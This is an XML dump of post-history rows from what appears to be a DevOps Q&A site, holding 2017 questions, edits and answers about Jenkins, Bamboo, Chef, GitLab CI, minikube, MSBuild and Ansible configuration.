  <row Id="6320" PostHistoryTypeId="1" PostId="2004" RevisionGUID="a8a34faf-0d95-4107-90ee-f70c40fad4c9" CreationDate="2017-09-14T13:04:21.533" UserId="4322" Text="Why is my build script only failing when it is run in a vNext build?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6321" PostHistoryTypeId="3" PostId="2004" RevisionGUID="a8a34faf-0d95-4107-90ee-f70c40fad4c9" CreationDate="2017-09-14T13:04:21.533" UserId="4322" Text="&lt;powershell&gt;&lt;tfs&gt;&lt;node.js&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6323" PostHistoryTypeId="2" PostId="2006" RevisionGUID="298b1a7c-d7d5-46ae-8159-dd055ce654ef" CreationDate="2017-09-14T13:49:32.927" UserId="4323" Text="In Jenkins I setup my tasks using groovy pipline scripts stored in git or svn.&#xD;&#xA;&#xD;&#xA;This way I only need to setup the input of the required parameters.&#xD;&#xA;The processing (additional checkouts, installation, builds, tests and other ansible tasks) are defined in the pipline script.&#xD;&#xA;&#xD;&#xA;My question is: Is there a way to do somthing similar with bamboo?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6324" PostHistoryTypeId="1" PostId="2006" RevisionGUID="298b1a7c-d7d5-46ae-8159-dd055ce654ef" CreationDate="2017-09-14T13:49:32.927" UserId="4323" Text="Is there something like Jenkins pipline scripts for Bamboo?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6325" PostHistoryTypeId="3" PostId="2006" RevisionGUID="298b1a7c-d7d5-46ae-8159-dd055ce654ef" CreationDate="2017-09-14T13:49:32.927" UserId="4323" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;bamboo&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6326" PostHistoryTypeId="2" PostId="2007" RevisionGUID="f35af1c6-8085-4e23-a4ee-e89da0c1388a" CreationDate="2017-09-14T14:20:11.267" UserId="1105" Text="I don't think Bamboo has that natively but there are plugins such as this one:  (https://marketplace.atlassian.com/plugins/com.cobalt.cdpipeline.cdpipeline/server/overview).  &#xD;&#xA;&#xD;&#xA;Atlassian also has a different product called Bitbucket pipeline (https://bitbucket.org/product/features/pipelines) that may be more similar to what you want but it's more of a CircleCI type of Pipeline." ContentLicense="CC BY-SA 3.0" />
  <row Id="6327" PostHistoryTypeId="2" PostId="2008" RevisionGUID="ff21f472-da04-487f-b03e-c4b91a504354" CreationDate="2017-09-14T14:57:44.690" UserId="4324" Text="Sorry for the conceptual question, but I don not know another community to help me quickly grasp some concepts.&#xD;&#xA;&#xD;&#xA;I've been using Chef for a few years as a recipe developer, but never dig a lot and the recipes were pretty simple. Now, two years later, I feel Chef moved forward a lot, and I need to know a few things.&#xD;&#xA;&#xD;&#xA;I've noticed that now most of the Supermarket's recipes are using Chef Delivery (aka Chef Automate). There is little information about it on their site, and it looks for me like it is a &quot;pig in a poke&quot;: first you pay and they you know what you've paid for.&#xD;&#xA;&#xD;&#xA;1. Does Chef Automate require you any additional server, besides Chef Server (we already have it). I guess yes.&#xD;&#xA;1. Is it required at all to write cookbooks now?&#xD;&#xA;1. Will it replace Foodcritic, ServerSpec and Kitchen eventually? Also, I see they now offer and &quot;InSpec&quot; which seems to be similar to ServerSpec.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6328" PostHistoryTypeId="1" PostId="2008" RevisionGUID="ff21f472-da04-487f-b03e-c4b91a504354" CreationDate="2017-09-14T14:57:44.690" UserId="4324" Text="What is Chef Automate" ContentLicense="CC BY-SA 3.0" />
  <row Id="6329" PostHistoryTypeId="3" PostId="2008" RevisionGUID="ff21f472-da04-487f-b03e-c4b91a504354" CreationDate="2017-09-14T14:57:44.690" UserId="4324" Text="&lt;automation&gt;&lt;chef&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6331" PostHistoryTypeId="2" PostId="2009" RevisionGUID="f26c0b81-0b33-4b85-a521-dbe34e49edd3" CreationDate="2017-09-14T15:35:44.120" UserId="13" Text="For the whole points and to try things there's https://learn.chef.io which allow you to test automate also.&#xD;&#xA;&#xD;&#xA;Mainly chef automate is the next iteration bringing together 4 commercial products from Chef: chef manage (UI), chef reporting, chef compliance and delivery (CI/CD) with the addition of push jobs which was open sourced a little before.&#xD;&#xA;&#xD;&#xA;Inspec is another new tool for compliance, it is based on serverspec but not extending it not using its code base.&#xD;&#xA;&#xD;&#xA;Automate is not mandatory to author cookbooks at all, it is just a convenient way to display back status of nodes either on configuration point of view or compliance point of view (see the audit cookbook for inspec usage within a run), you can still does everything on your nodes on the free open source model, you'll have to handle the feedback loop yourself, either through a handler or any other way of your choice as it was already the case.&#xD;&#xA;&#xD;&#xA;The CI/CD part of Automate doesn't replace any tool, it's more another approach to CI/CD pipelines, so you may use it to do the usual linting (foodcritic/cookstyle), test (chefspec), and then upload to your chef-server for use. It can handle deploys through the push jobs feature and after review and approval of changes.&#xD;&#xA;&#xD;&#xA;Presentation of [automate](https://www.chef.io/automate/) and the related [documentation](https://docs.chef.io/workflow.html) (workflow is the first concept, others are accessible from the menu on the left)" ContentLicense="CC BY-SA 3.0" />
  <row Id="6332" PostHistoryTypeId="5" PostId="1" RevisionGUID="56bd2fa4-e660-48cb-9022-85afe3b67625" CreationDate="2017-09-14T15:40:53.190" UserId="210" Comment="added 1 character in body" Text="I am aware that Jenkins is a fork of Hudson. What are the main benefits/advantages of using Jenkins over Hudson for a small private business?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6333" PostHistoryTypeId="4" PostId="6" RevisionGUID="72842418-f383-4b9e-ac9e-7b354262cf67" CreationDate="2017-09-14T15:43:02.900" UserId="210" Comment="edited title" Text="What are benefits of using a third party app metrics tools versus custom build tools?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6334" PostHistoryTypeId="2" PostId="2010" RevisionGUID="0ac3048c-f68f-4644-a807-a5f24a193c01" CreationDate="2017-09-14T15:53:55.103" UserId="4324" Text="Sorry for the conceptual question, but I don not know another community to help me quickly grasp some concepts.&#xD;&#xA;&#xD;&#xA;I've been using Chef for a few years as a recipe developer, but never dig a lot and the recipes were pretty simple. Now, two years later, I feel Chef moved forward a lot, and I need to know a few things.&#xD;&#xA;&#xD;&#xA;Is it 100% required to store all the cookbooks under `chef-repo`? This seems a little bit inconvenient for me, I'd prefer to store solution cookbooks in the application codebase, or just as a standalone git repos.&#xD;&#xA;&#xD;&#xA;I know that tools like `knife` rely on configuration files to be present in `.chef`, and it frustrates me a little bit too." ContentLicense="CC BY-SA 3.0" />
  <row Id="6335" PostHistoryTypeId="1" PostId="2010" RevisionGUID="0ac3048c-f68f-4644-a807-a5f24a193c01" CreationDate="2017-09-14T15:53:55.103" UserId="4324" Text="Organizing Chef cookbooks" ContentLicense="CC BY-SA 3.0" />
  <row Id="6336" PostHistoryTypeId="3" PostId="2010" RevisionGUID="0ac3048c-f68f-4644-a807-a5f24a193c01" CreationDate="2017-09-14T15:53:55.103" UserId="4324" Text="&lt;chef&gt;&lt;repository&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6337" PostHistoryTypeId="5" PostId="2008" RevisionGUID="aa3354d5-bf32-4e8d-9e7d-32125b27f5a3" CreationDate="2017-09-14T16:04:12.877" UserId="210" Comment="deleted 115 characters in body" Text="I've noticed that now most of the Supermarket's recipes are using Chef Delivery (aka Chef Automate). There is little information about it on their site, and it looks for me like it is a &quot;pig in a poke&quot;: first you pay and they you know what you've paid for.&#xD;&#xA;&#xD;&#xA;1. Does Chef Automate require you any additional server, besides Chef Server (we already have it). I guess yes.&#xD;&#xA;1. Is it required at all to write cookbooks now?&#xD;&#xA;1. Will it replace Foodcritic, ServerSpec and Kitchen eventually? Also, I see they now offer and &quot;InSpec&quot; which seems to be similar to ServerSpec.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6338" PostHistoryTypeId="5" PostId="2010" RevisionGUID="19c435ec-8635-438d-b7d9-9b23c746ae5b" CreationDate="2017-09-14T16:04:34.437" UserId="210" Comment="deleted 115 characters in body" Text="Is it 100% required to store all the cookbooks under `chef-repo`? This seems a little bit inconvenient for me, I'd prefer to store solution cookbooks in the application codebase, or just as a standalone git repos.&#xD;&#xA;&#xD;&#xA;I know that tools like `knife` rely on configuration files to be present in `.chef`, and it frustrates me a little bit too." ContentLicense="CC BY-SA 3.0" />
  <row Id="6339" PostHistoryTypeId="2" PostId="2011" RevisionGUID="a08013ad-6840-483b-982f-53da795eaf4e" CreationDate="2017-09-14T16:11:20.080" UserId="13" Text="No, it is not, the chef-repo is the legacy way back to chef 10.&#xD;&#xA;&#xD;&#xA;Knife allows working on multiples directory with the -o option. Berks work from current directory.&#xD;&#xA;&#xD;&#xA;The current recomendations is indeed a repo per cookbook (or alongside another app) " ContentLicense="CC BY-SA 3.0" />
  <row Id="6340" PostHistoryTypeId="5" PostId="2011" RevisionGUID="dd376ca5-d8a8-4fbe-88ec-8df28ad948e8" CreationDate="2017-09-14T17:59:42.860" UserId="13" Comment="added 109 characters in body" Text="No, it is not, the chef-repo is the legacy way back to chef 10.&#xD;&#xA;&#xD;&#xA;Knife allows working on multiples directory with the -o option. Berks work from current directory.&#xD;&#xA;&#xD;&#xA;You can also work around the default .chef directory by using the `KNIFE_HOME` environment variable too. &#xD;&#xA;&#xD;&#xA;The current recomendations is indeed a repo per cookbook (or alongside another app) " ContentLicense="CC BY-SA 3.0" />
  <row Id="6342" PostHistoryTypeId="4" PostId="2006" RevisionGUID="fd5fd390-62e7-4ba1-992e-5aedf2c3e2af" CreationDate="2017-09-15T07:37:01.400" UserId="210" Comment="edited title" Text="Is there something like Jenkins pipeline scripts for Bamboo?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6344" PostHistoryTypeId="2" PostId="2013" RevisionGUID="ca23b617-efeb-4f92-9c6b-2a51a13a4f4d" CreationDate="2017-09-15T07:56:36.600" UserId="4343" Text="I have designed different part of social networking system using micro service and I have reached to the message part of the system. Messages can be private messages (maybe a separate module), the posts on the wall for each user which can be images, text, video (again maybe another module) and reply messages which is again can be a different module.&#xD;&#xA;&#xD;&#xA;Now my problem here is that should I design separate modules (service) for each kind if message. Should I consider load of messages as part of this concept of separating modules?&#xD;&#xA;&#xD;&#xA;From one view they are all messages that users use to interact with other users in the system.&#xD;&#xA;&#xD;&#xA;How should I design micro service for the message part of this social network?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6345" PostHistoryTypeId="1" PostId="2013" RevisionGUID="ca23b617-efeb-4f92-9c6b-2a51a13a4f4d" CreationDate="2017-09-15T07:56:36.600" UserId="4343" Text="How should I separate micro service modules for the message part(posts, reply, private) of a social network?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6346" PostHistoryTypeId="3" PostId="2013" RevisionGUID="ca23b617-efeb-4f92-9c6b-2a51a13a4f4d" CreationDate="2017-09-15T07:56:36.600" UserId="4343" Text="&lt;microservices&gt;&lt;architecture&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6347" PostHistoryTypeId="2" PostId="2014" RevisionGUID="df136570-6b93-4571-b09f-73d18f5f9e57" CreationDate="2017-09-15T08:03:07.663" UserId="210" Text="One of the options is to configure SSL in NGinx and to put this in front of Jenkins. Are there any other options for securing Jenkins?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6348" PostHistoryTypeId="1" PostId="2014" RevisionGUID="df136570-6b93-4571-b09f-73d18f5f9e57" CreationDate="2017-09-15T08:03:07.663" UserId="210" Text="What are best practices for implementing SSL on Jenkins?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6349" PostHistoryTypeId="3" PostId="2014" RevisionGUID="df136570-6b93-4571-b09f-73d18f5f9e57" CreationDate="2017-09-15T08:03:07.663" UserId="210" Text="&lt;jenkins&gt;&lt;ssl&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6350" PostHistoryTypeId="5" PostId="2013" RevisionGUID="a55f4e25-22c9-411c-9308-c45c2a01c137" CreationDate="2017-09-15T08:39:27.977" UserId="4343" Comment="added 707 characters in body" Text="I have designed different part of social networking system using micro service and I have reached to the message part of the system. Messages can be private messages (maybe a separate module), the posts on the wall for each user which can be images, text, video (again maybe another module) and reply messages which is again can be a different module.&#xD;&#xA;&#xD;&#xA;Now my problem here is that should I design separate modules (service) for each kind if message. Should I consider load of messages as part of this concept of separating modules?&#xD;&#xA;&#xD;&#xA;From one view they are all messages that users use to interact with other users in the system.&#xD;&#xA;&#xD;&#xA;How should I design micro service for the message part of this social network?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**EDIT-1:**&#xD;&#xA;Micro-service modules of my project for now:&#xD;&#xA;&#xD;&#xA; - user&#xD;&#xA; - authenticator&#xD;&#xA; - notifications (email, push, etc)&#xD;&#xA;&#xD;&#xA;Now my social network project has 3 parts for messages:&#xD;&#xA;&#xD;&#xA; - users' posts&#xD;&#xA; - users' private messages&#xD;&#xA; - users' replies to other messages&#xD;&#xA;&#xD;&#xA;These 3 categories can be 1 module that can manage all these logics. Or 3 different modules `user posts`, `user private messages`, `user replies`. &#xD;&#xA;&#xD;&#xA;The question is how should I separate them? **One of** my concerns is the complexity of each category that can be high in the really near future.&#xD;&#xA;&#xD;&#xA;** NB: By messaging I don't mean micro-service module's inter communication, but user's messages in the system.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6351" PostHistoryTypeId="5" PostId="2006" RevisionGUID="2fd3f1a0-9351-4ef8-9cb9-1d25b1579d08" CreationDate="2017-09-15T08:41:18.287" UserId="4323" Comment="improved formatting" Text="In Jenkins I setup my tasks using groovy pipline scripts stored in [tag:git] or [tag:subversion].&#xD;&#xA;&#xD;&#xA;This way I only need to setup the input of the required parameters.&#xD;&#xA;The processing (additional checkouts, installation, builds, tests and other ansible tasks) are defined in the pipline script.&#xD;&#xA;&#xD;&#xA;My question is: Is there a way to do somtehing similar with bamboo?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6352" PostHistoryTypeId="2" PostId="2015" RevisionGUID="da7bd20a-31eb-4829-a794-122938817f2d" CreationDate="2017-09-15T08:48:06.210" UserId="4323" Text="Besides the transport layer you should first of all enable&#xD;&#xA;[Access Control][1]&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins.io/display/JENKINS/Securing+Jenkins&#xD;&#xA;to protect jenkins from public access." ContentLicense="CC BY-SA 3.0" />
  <row Id="6353" PostHistoryTypeId="5" PostId="2014" RevisionGUID="f31d1890-6b69-424d-bd34-6965735c60d2" CreationDate="2017-09-15T09:15:38.537" UserId="210" Comment="added 86 characters in body" Text="One of the options is to configure SSL in NGinx and to put this in front of Jenkins. Are there any other options for securing Jenkins? I am looking for an answer that is focused on best practices that harden the layer 6." ContentLicense="CC BY-SA 3.0" />
  <row Id="6354" PostHistoryTypeId="2" PostId="2016" RevisionGUID="5192a6f4-cda3-4728-92cd-c35aa9832dfb" CreationDate="2017-09-15T09:18:48.850" UserId="707" Text="AFAIK you cannot influence the order how Docker Swarm starts containers for services.&#xD;&#xA;&#xD;&#xA;Is that possible with:&#xD;&#xA;&#xD;&#xA; - Mesos?&#xD;&#xA; - K8s (Kubernetes)?&#xD;&#xA; - Rancher?&#xD;&#xA; - Other?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6355" PostHistoryTypeId="1" PostId="2016" RevisionGUID="5192a6f4-cda3-4728-92cd-c35aa9832dfb" CreationDate="2017-09-15T09:18:48.850" UserId="707" Text="Defined start sequence of containers" ContentLicense="CC BY-SA 3.0" />
  <row Id="6356" PostHistoryTypeId="3" PostId="2016" RevisionGUID="5192a6f4-cda3-4728-92cd-c35aa9832dfb" CreationDate="2017-09-15T09:18:48.850" UserId="707" Text="&lt;containers&gt;&lt;cloud&gt;&lt;orchestration&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6357" PostHistoryTypeId="2" PostId="2017" RevisionGUID="9f61b196-e552-48f3-9365-6e9f99541892" CreationDate="2017-09-15T09:21:19.250" UserId="210" Text="https://forums.rancher.com/t/start-order-of-stack-containers/3106/9&#xD;&#xA;&#xD;&#xA;&gt; We do not support depends_on, and neither does Docker in Swarm mode.&#xD;&#xA;&gt; It is not a real solution to the problem anyway and leaves you with&#xD;&#xA;&gt; unhandled pointy-edge cases when failures occur and containers are&#xD;&#xA;&gt; being replaced. Your services should know how to either wait for their&#xD;&#xA;&gt; dependencies or exit and be rescheduled to retry.&#xD;&#xA;&#xD;&#xA;I agree with this comment. Services should always be able to start. Imagine that one service goes down then another service will not work anymore." ContentLicense="CC BY-SA 3.0" />
  <row Id="6358" PostHistoryTypeId="2" PostId="2018" RevisionGUID="5503ffe5-a8aa-4112-afa9-67410c693f5a" CreationDate="2017-09-15T09:27:53.233" UserId="707" Text="- Git lfs is just support for large files in Git -&gt; good for example for a video file sample if you need it, right?&#xD;&#xA;- But, if you have large artefacts like a trained model or some other artefact, what is the benefit to version this binary in git? " ContentLicense="CC BY-SA 3.0" />
  <row Id="6359" PostHistoryTypeId="1" PostId="2018" RevisionGUID="5503ffe5-a8aa-4112-afa9-67410c693f5a" CreationDate="2017-09-15T09:27:53.233" UserId="707" Text="Can we consider usage of git lfs for artefacts equally mature strategy to an artifactory?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6360" PostHistoryTypeId="3" PostId="2018" RevisionGUID="5503ffe5-a8aa-4112-afa9-67410c693f5a" CreationDate="2017-09-15T09:27:53.233" UserId="707" Text="&lt;methodology&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6361" PostHistoryTypeId="5" PostId="2016" RevisionGUID="2edaca16-e330-4069-bb1e-69697a42c755" CreationDate="2017-09-15T09:37:50.387" UserId="707" Comment="added 512 characters in body" Text="AFAIK you cannot influence the order how Docker Swarm starts containers for services.&#xD;&#xA;&#xD;&#xA;Is that possible with:&#xD;&#xA;&#xD;&#xA; - Mesos?&#xD;&#xA; - K8s (Kubernetes)?&#xD;&#xA; - Rancher?&#xD;&#xA; - Other?&#xD;&#xA;&#xD;&#xA;This question is not about specific orchestration of dependent services but the problem that if you run 10 services each with one JVM this creates a load peak. The system slows down and you need complex loops to wait for other services.&#xD;&#xA;Are there any mechanisms known in other orchestration concepts to manage the startup somehow? &#xD;&#xA;&#xD;&#xA;For example, in completely other domain, in JMeter you can tell a timeframe in which a thread group will start. So could I say &quot;try to start this service with some offset&quot;?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6362" PostHistoryTypeId="2" PostId="2019" RevisionGUID="0a5871ed-1d0c-4f27-b952-2bf28bf8f30b" CreationDate="2017-09-15T09:59:09.643" UserId="4289" Text="I'm having issues with parsing a `build` directory between stages using Gitlab-CI. &#xD;&#xA;&#xD;&#xA;Gitlab-CI wipes the created build artifacts between stages which seems weird. I'm trying to store the build artifacts between the build and the test stage, however the build stage also has the build artifact which I want to keep and also the build artifacts which are required to run the next stage.&#xD;&#xA;&#xD;&#xA;Is it possible to have multiple expiry times with different paths using the `artifacts` option? &#xD;&#xA;&#xD;&#xA;I have tried the following, which only keeps the second definition of `paths` (the build/test* paths), and not the first `paths` (.dmg) declared.&#xD;&#xA;&#xD;&#xA;      artifacts:&#xD;&#xA;        paths:&#xD;&#xA;        - build/*.dmg&#xD;&#xA;        expire_in: 1 week&#xD;&#xA;        paths:&#xD;&#xA;        - build/test1&#xD;&#xA;        - build/test2&#xD;&#xA;        - build/test3&#xD;&#xA;        expire_in: 15 mins&#xD;&#xA;&#xD;&#xA;I have tried using the `caches` however can't seem to get that working... Any suggestions would be great appreciated! " ContentLicense="CC BY-SA 3.0" />
  <row Id="6363" PostHistoryTypeId="1" PostId="2019" RevisionGUID="0a5871ed-1d0c-4f27-b952-2bf28bf8f30b" CreationDate="2017-09-15T09:59:09.643" UserId="4289" Text="Multiple paths with different expiry time in gitlab-ci runners" ContentLicense="CC BY-SA 3.0" />
  <row Id="6364" PostHistoryTypeId="3" PostId="2019" RevisionGUID="0a5871ed-1d0c-4f27-b952-2bf28bf8f30b" CreationDate="2017-09-15T09:59:09.643" UserId="4289" Text="&lt;gitlab&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6365" PostHistoryTypeId="2" PostId="2020" RevisionGUID="55072afd-7139-4e9f-b180-b0e68ce388d3" CreationDate="2017-09-15T11:21:51.670" UserId="502" Text="Travis CI is build as a cloud solution focusing upon github repositories.&#xD;&#xA;It is possible to setup a Travis CI in-house as a self-hosted solution, however the open-source project is not build with this in mind and therefore it is likely that you will hit limitations.&#xD;&#xA;This is why Travis CI has an Enterprise solution: https://enterprise.travis-ci.com/.&#xD;&#xA;I think you would be better off looking at similar CI products or buying the enterprise edition of Travis which are focused upon you owning both the master server and the build agents. &#xD;&#xA;However, it depends on your specific need." ContentLicense="CC BY-SA 3.0" />
  <row Id="6366" PostHistoryTypeId="2" PostId="2021" RevisionGUID="7bb3159e-e575-400d-8573-311c03cc8922" CreationDate="2017-09-15T13:17:57.880" UserId="210" Text="When a k8s cluster is created using minikube, the output indicates that an outdated version of k8s is deployed:&#xD;&#xA;&#xD;&#xA;    user@host ~ $ minikube start&#xD;&#xA;    Starting local Kubernetes v1.6.4 cluster...&#xD;&#xA;    Starting VM...&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6367" PostHistoryTypeId="1" PostId="2021" RevisionGUID="7bb3159e-e575-400d-8573-311c03cc8922" CreationDate="2017-09-15T13:17:57.880" UserId="210" Text="How to start the latest version of k8s using minikube?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6368" PostHistoryTypeId="3" PostId="2021" RevisionGUID="7bb3159e-e575-400d-8573-311c03cc8922" CreationDate="2017-09-15T13:17:57.880" UserId="210" Text="&lt;minikube&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6369" PostHistoryTypeId="2" PostId="2022" RevisionGUID="66a754bb-593f-4750-b4cb-3475914f08ff" CreationDate="2017-09-15T13:21:36.553" UserId="210" Text="https://rominirani.com/tutorial-getting-started-with-kubernetes-on-your-windows-laptop-with-minikube-3269b54a226&#xD;&#xA;&#xD;&#xA;    user@host ~ $ minikube start --kubernetes-version=&quot;v1.7.5&quot;&#xD;&#xA;    Starting local Kubernetes v1.7.5 cluster...&#xD;&#xA;    Starting VM..." ContentLicense="CC BY-SA 3.0" />
  <row Id="6370" PostHistoryTypeId="33" PostId="1981" RevisionGUID="26579e0c-e85a-430a-893d-8103ae6d72ae" CreationDate="2017-09-15T13:52:20.260" UserId="4220" Comment="8" />
  <row Id="6371" PostHistoryTypeId="2" PostId="2023" RevisionGUID="a92c640b-984b-4751-ab3c-83d02266fcb4" CreationDate="2017-09-15T14:02:55.227" UserId="3646" Text="This question was kindly answered on StackOverflow. For anyone else looking for an answer:&#xD;&#xA;    &#xD;&#xA;    &lt;PropertyGroup&gt;&#xD;&#xA;      &lt;BuildParameters&gt;&#xD;&#xA;        Configuration=Debug;&#xD;&#xA;        Platform=Any CPU;&#xD;&#xA;            SomeOtherProperty=Foo&#xD;&#xA;      &lt;/BuildParameters&gt;&#xD;&#xA;    &lt;/PropertyGroup&gt;&#xD;&#xA;    …&#xD;&#xA;    &lt;PropertyGroup&gt;&#xD;&#xA;      &lt;!-- this property can even be extended afterwards, e.g. when a condition is needed --&gt;&#xD;&#xA;      &lt;BuildParameters Condition=&quot; '$(ShallAppendThings)' == 'true' &quot;&gt;&#xD;&#xA;        $(BuildParameters);&#xD;&#xA;        AnotherProperty=SomeValue&#xD;&#xA;      &lt;/BuildParameters&gt;&#xD;&#xA;    &lt;/PropertyGroup&gt;&#xD;&#xA;    …&#xD;&#xA;&#xD;&#xA;    &lt;MSBuild Projects=&quot;$(SolutionFile)&quot; Targets=&quot;Build&quot; Properties=&quot;$(BuildProperties)&quot; /&gt;&#xD;&#xA;&#xD;&#xA;source:&#xD;&#xA;https://stackoverflow.com/questions/46226120/how-to-pass-dynamic-properties-to-an-msbuild-task" ContentLicense="CC BY-SA 3.0" />
  <row Id="6372" PostHistoryTypeId="2" PostId="2024" RevisionGUID="9d2ca01d-1c47-4c84-9939-ef7fe8b7867d" CreationDate="2017-09-15T14:23:24.017" UserId="210" Text="https://github.com/030/ansible-certbot&#xD;&#xA;&#xD;&#xA;main.yml&#xD;&#xA;&#xD;&#xA;    - include: Debian.yml&#xD;&#xA;    when: ansible_os_family == 'Debian'&#xD;&#xA;&#xD;&#xA;put everything that is required on debian like apt in Debian.yml and yum in Centos.yml.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;In summary, it is possible to let all OS types use the same role if the OS specific things are put in separate files.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This is a more comprehensive example https://github.com/geerlingguy/ansible-role-mysql/blob/master/tasks/main.yml&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6373" PostHistoryTypeId="5" PostId="2018" RevisionGUID="6edd8970-b5c3-423c-ab97-e7d9e019cf01" CreationDate="2017-09-15T15:20:18.997" UserId="707" Comment="added 15 characters in body" Text="- Git lfs is just support for large files in Git -&gt; good for example for a video file sample if you need it, right?&#xD;&#xA;- But, if you have large artefacts like a trained model or an uber-jar or some other artefact, what is the benefit to version this binary in git? " ContentLicense="CC BY-SA 3.0" />
  <row Id="6374" PostHistoryTypeId="2" PostId="2025" RevisionGUID="7bc6bef2-6d19-4b70-a136-8663446484cb" CreationDate="2017-09-15T16:32:08.357" UserId="4289" Text="So I managed to keep the same structure roughly, and managed to separate how the machines are generated, however still is a bit fuzzy and can probably be improved to be more efficient!&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;**site.yml**&#xD;&#xA;&#xD;&#xA;    - name: Apply common configuration to all nodes&#xD;&#xA;      hosts: all&#xD;&#xA;      roles:&#xD;&#xA;        - common&#xD;&#xA;    &#xD;&#xA;    - name: Configure and deploy test node 1&#xD;&#xA;      hosts: build-test-node&#xD;&#xA;      roles:&#xD;&#xA;        - build-machine-test-1&#xD;&#xA;    &#xD;&#xA;    - name: Configure and deploy test node 2&#xD;&#xA;      hosts: build-test-node-2&#xD;&#xA;      roles:&#xD;&#xA;        - build-machine-test-2&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;**environments/test/groups**&#xD;&#xA;&#xD;&#xA;    [win_test_1_nodes]&#xD;&#xA;    win_build_machine_1&#xD;&#xA;    &#xD;&#xA;    [mac_test_1_nodes]&#xD;&#xA;    mac_build_machine_1&#xD;&#xA;    &#xD;&#xA;    [win_test_2_nodes]&#xD;&#xA;    win_build_machine_2&#xD;&#xA;    &#xD;&#xA;    [mac_test_2_nodes]&#xD;&#xA;    mac_build_machine_2&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;**environments/test/hosts**&#xD;&#xA;&#xD;&#xA;    win_build_machine_1   ansible_host=......&#xD;&#xA;    win_build_machine_2   ansible_host=......&#xD;&#xA;    mac_build_machine_1   ansible_host=......&#xD;&#xA;    mac_build_machine_2   ansible_host=......&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;**environments/test/meta**&#xD;&#xA;&#xD;&#xA;    [win_test_1_nodes]&#xD;&#xA;    [mac_test_1_nodes]&#xD;&#xA;    [win_test_2_nodes]&#xD;&#xA;    [mac_test_2_nodes]&#xD;&#xA;    &#xD;&#xA;    [win:children]&#xD;&#xA;    win_test_1_nodes&#xD;&#xA;    win_test_2_nodes&#xD;&#xA;    &#xD;&#xA;    [mac:children]&#xD;&#xA;    mac_test_1_nodes&#xD;&#xA;    mac_test_2_nodes&#xD;&#xA;    &#xD;&#xA;    [build-machine-test-1:children]&#xD;&#xA;    win_test_1_nodes&#xD;&#xA;    mac_test_1_nodes&#xD;&#xA;    &#xD;&#xA;    [build-machine-test-2:children]&#xD;&#xA;    win_test_2_nodes&#xD;&#xA;    mac_test_2_nodes&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;This solution allows more test nodes to be generated with separate roles added to them, and can just be added to the correct group for the machine to be provisioned." ContentLicense="CC BY-SA 3.0" />
  <row Id="6375" PostHistoryTypeId="2" PostId="2026" RevisionGUID="413be16e-d5fa-4f71-be5c-8d23b643841a" CreationDate="2017-09-15T16:33:18.953" UserId="222" Text="I schooled in CompSci where we were primarily taught Java, but what I *learned* there is that my passion is systems, so I've always worked the ops side. I'm handy with scripting, so I'm not looking for a site to teach me Ruby, but something to explain more in-depth what you devs do all day. I want to understand the culture better and how you digest the sheer number of files in your projects -- the intangibles. &#xD;&#xA;&#xD;&#xA;If I learned today I was being moved to a development team on Monday, what would I want to read this weekend?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6376" PostHistoryTypeId="1" PostId="2026" RevisionGUID="413be16e-d5fa-4f71-be5c-8d23b643841a" CreationDate="2017-09-15T16:33:18.953" UserId="222" Text="Crash course in Dev for Ops?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6377" PostHistoryTypeId="3" PostId="2026" RevisionGUID="413be16e-d5fa-4f71-be5c-8d23b643841a" CreationDate="2017-09-15T16:33:18.953" UserId="222" Text="&lt;culture&gt;&lt;builds&gt;&lt;methodology&gt;&lt;software-engineering&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6378" PostHistoryTypeId="6" PostId="2018" RevisionGUID="0a1c7c66-aafd-4c8e-ac9c-8289d2822422" CreationDate="2017-09-15T17:18:48.730" UserId="47" Comment="edited tags" Text="&lt;artifacts&gt;&lt;methodology&gt;&lt;artifactory&gt;" ContentLicense="CC BY-SA 3.0" />
